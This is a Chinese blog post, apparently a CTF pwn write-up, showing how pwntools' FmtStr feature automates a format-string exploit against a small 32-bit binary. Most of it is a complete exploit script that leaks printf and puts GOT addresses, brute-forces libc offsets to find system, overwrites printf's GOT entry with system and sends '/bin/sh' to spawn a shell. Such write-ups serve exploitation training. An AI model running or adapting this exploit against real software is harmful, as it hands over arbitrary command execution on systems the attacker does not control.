【pwn】 初探pwntools fmt特性

翻pwntools文档的时候突然发现了pwntools多了一个自动完成fmt漏洞利用的特性。

官方文档链接 http://pwntools.readthedocs.io/en/stable/fmtstr.html

在本地一看,pwntools还是2.x版本。。官方都已经更新到3.5版本了,于是果断更新= =。。

漏洞程序是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [sp+1Ch] [bp-184h]@2
int v4; // [sp+9Ch] [bp-104h]@2
int v5; // [sp+11Ch] [bp-84h]@2
int v6; // [sp+19Ch] [bp-4h]@1
v6 = *MK_FP(__GS__, 20);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
print_welcome();
while ( 1 )
{
printf("First input:");
get_input(256, &v3);
printf("Second input:");
get_input(256, &v4);
strcpy((char *)&v5, (const char *)&v3);
printf((const char *)&v5);
putchar(44);
printf((const char *)&v4);
putchar(10);
puts("All is Done");
}
}

可以直接看到,有两处fmt漏洞,这是个循环,我们只需要循环利用其中一个fmt漏洞就可以。

我们可以利用pwntools提供fmt自动利用的功能快速算出格式化字符串在栈中的偏移。

1
2
3
4
5
6
7
8
9
10
11
# stage 1 get fmt offset
def exec_fmt(payload):
p = process(target)
p.recvuntil("input:")
p.sendline(payload)
p.recvuntil("input:")
p.sendline(payload)
return p.recvuntil(",")[:-1]
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

泄露出其中一个库函数地址后,利用我们本地搭建好的libc-database库算出system函数的地址。(如果出现多个匹配的话,就爆破吧:P

主要的还是它可以自动完成任意地址写的payload,就适合我这种深度懒癌患者

1
2
3
4
5
6
7
8
def send_payload(payload):
ru("input:")
sl(payload)
ru("input:")
sl("/bin/sh\x00")
autofmt = FmtStr(send_payload,offset=offset)
autofmt.write(printf_got,system_addr)
autofmt.execute_writes()

总的exp是这样子的。大概爆破三次就出结果,这还是我只泄露了一个库函数地址的情况下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-04-08 21:08:57
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./echo"
rop = roputils.ROP(target)
bss = rop.section('.bss')+0x30
printf_got = rop.got('printf')
if DEBUG:
p = process(target)
# gdb.attach(p,"b*0x80486C1\nc")
else:
p = remote()
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
# stage 1 get fmt offset
def exec_fmt(payload):
p = process(target)
p.recvuntil("input:")
p.sendline(payload)
p.recvuntil("input:")
p.sendline(payload)
return p.recvuntil(",")[:-1]
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
def send_payload(payload):
ru("input:")
sl(payload)
ru("input:")
sl("/bin/sh\x00")
# stage 2 get system_addr
offset_system = [-63744, -78400, -55008, -57072, -55136, -61392, -55120, -59840, -64784, -59456, -58400, -58480, -60464, -76112, 3792, -70432, -58160, -1063904, -1042576, -1041936, -68192, -77448, -51488, -71904]
for o in offset_system:
try:
p = process(target)
printf_got = rop.got("printf")
puts_got = rop.got("puts")
ru("input:")
sl(p32(printf_got)+"%7$s")
ru("input:")
sl("payload")
printf_addr = u32(p.recv(8)[4:])
ru("input:")
sl(p32(puts_got)+"%7$s")
ru("input:")
sl("payload")
puts_addr = u32(p.recv(8)[4:])
print "printf_addr="+hex(printf_addr)
print "puts_addr="+hex(puts_addr)
system_addr = printf_addr+o
# stage 3 change printf_addr to system_addr
autofmt = FmtStr(send_payload,offset=offset)
autofmt.write(printf_got,system_addr)
autofmt.execute_writes()
# print offset
# print "bss_addr="+hex(bss)
# payload = fmtstr_payload(1,{bss:0xdeadbeaf},1,"byte")
# print payload
p.interactive()
except:
continue

后记:啥时候出个FSP自动利用的啊。。

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
,
隐藏